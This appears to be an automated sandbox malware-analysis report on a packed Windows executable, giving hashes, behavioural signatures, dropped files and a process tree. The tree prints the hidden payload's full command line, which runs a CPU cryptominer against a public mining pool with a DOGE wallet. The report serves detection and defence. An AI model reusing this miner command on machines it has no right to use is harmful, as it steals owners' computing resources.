Analysis

  • max time kernel
    298s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    24/02/2024, 07:53

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4944

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe

          Filesize

          20.1MB

          MD5

          e0c9e4b075b01cfd0660a2ff4c875726

          SHA1

          939f43b83f3151c612db2ba6c7fc11b69546a23b

          SHA256

          2523814a32f8f9fa58cfd18fea446de2f17267c0d6bdfb05937dbaf5093015c9

          SHA512

          6ba064f266c71da83b68daf1d608f5833938b223ff85b8cd8f16b345574c0e1a5ef8005f6090d29040741b8338c04827be50a77d3afaffc9721b37b90b27a721

        • C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe

          Filesize

          1.9MB

          MD5

          b5ae88e85e1084225ce0118ce701db12

          SHA1

          d4b5002d16549f82c16ef027005c52a58ec9d8c9

          SHA256

          0a02515a7262451015ed48e82191dfffcb03d31b76f1c8fca7ba337acfef9fe8

          SHA512

          5dafba51677f3348a2f19eeaa82142c9aeacba7b4e4d3a6c28bfaba21622842b30086a3036979f16da7a241419ca4c47752cd58a0e42f7c68aada32f59c48e45

        • C:\Users\Admin\AppData\Local\Temp\82BD.tmp\b2e.exe

          Filesize

          1.8MB

          MD5

          f51fe7ed64e17eb639e2b77a503596fc

          SHA1

          9de36c8a5bd8a21c006aabe8c222294852a802f1

          SHA256

          706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

          SHA512

          ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

        • C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          896KB

          MD5

          9f9a8fea08bacf3a1d155567fead5940

          SHA1

          9d9ba8746c585446f53f442b800e1eb28a0df86a

          SHA256

          a22f9d8fb953e4f6bc93cdcc8aa650a5a093f1dd400fdc501d5aa7b00bee0289

          SHA512

          d41a048619373832c616d48f919595ac50dfbbd68095aec008b30adde91ceeeb86326c7d412ab20d937bab7096fb8165d3da8b4fdc40a03cc32da9ee3e9dc2a2

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          832KB

          MD5

          43dd8ab1a0fd7f177db516faa81a9635

          SHA1

          66a8b6940797f3396a4f1a6deafca1fda5bffcdd

          SHA256

          d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

          SHA512

          064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          832KB

          MD5

          9b527cc7775e3fefc75ebd6cf497b81b

          SHA1

          7405b4528854589bc404f55c0e591d2e534d8d63

          SHA256

          eb4270d5203fe07ee63a7161093d69577ada5ad4ca659a6181d63953a69bca72

          SHA512

          6471f61ebc78e6ab30cce7cb444c582a8a24cbcbff1a8cc3d22d20d299d53c6377127e76bcc2a1e2c9108cd65d6fb89d42ddf89b04140c8e225f5115984a4b85

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          640KB

          MD5

          1bff0defeeb9f4bc5cf01e916a8d1379

          SHA1

          bdb668928be0a339e01e3aeeac813fd26b44b950

          SHA256

          d7f49e1dd346940049b753b856759608013f611624432c7ea57b0872239d35c0

          SHA512

          edb3e22bb4d6f3376d73ccd538a61292c5a086fc8ef9b8038b663c93d9ec991bdca297e3c6febb9d18fd16f5304e4fa532d603c68739598f4b65af320ffb3878

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          512KB

          MD5

          6162b21c54b88c5c990e82aee951ebb4

          SHA1

          477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

          SHA256

          462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

          SHA512

          6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          640KB

          MD5

          1b7339cbcb5b756c15c05fe0cc6443f3

          SHA1

          abdba01c4526a9bbbb7fd3853e09bce3cbb5287d

          SHA256

          5fcf0fb116f77206758e3a669ec4fa52648fae431a5c2aa2d7ee69944142e019

          SHA512

          7661b5e8413e74432a00089b1556b2f49e268b6b5c8cefd839cbe19074bffd138c18e8078627420f4082f579a9e3f8d02b199507ae36380b5375162a4d4ba439

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          512KB

          MD5

          a3dea3777f14f1235327b648410a9406

          SHA1

          9ab139a0c947962b3c471c36e8b9cca4d750c889

          SHA256

          ff432926dd375c44e9a86cc2520c46e66be2d212e35fb73f16ebc4b48b98b6d1

          SHA512

          b6cacf9e5d8adebdb3c4ae9b6eaddda6a90d9eae32bdc4cf6eb36ad7cf14d02486ac0c32942e3bc504e943a544fa71a6c9e2fec8fb07c456290646107b4edea2

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/2384-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/3420-58-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/3420-8-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/4944-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-45-0x0000000072E00000-0x0000000072E98000-memory.dmp

          Filesize

          608KB

        • memory/4944-47-0x0000000001110000-0x00000000029C5000-memory.dmp

          Filesize

          24.7MB

        • memory/4944-53-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-56-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/4944-46-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/4944-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/4944-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4944-104-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB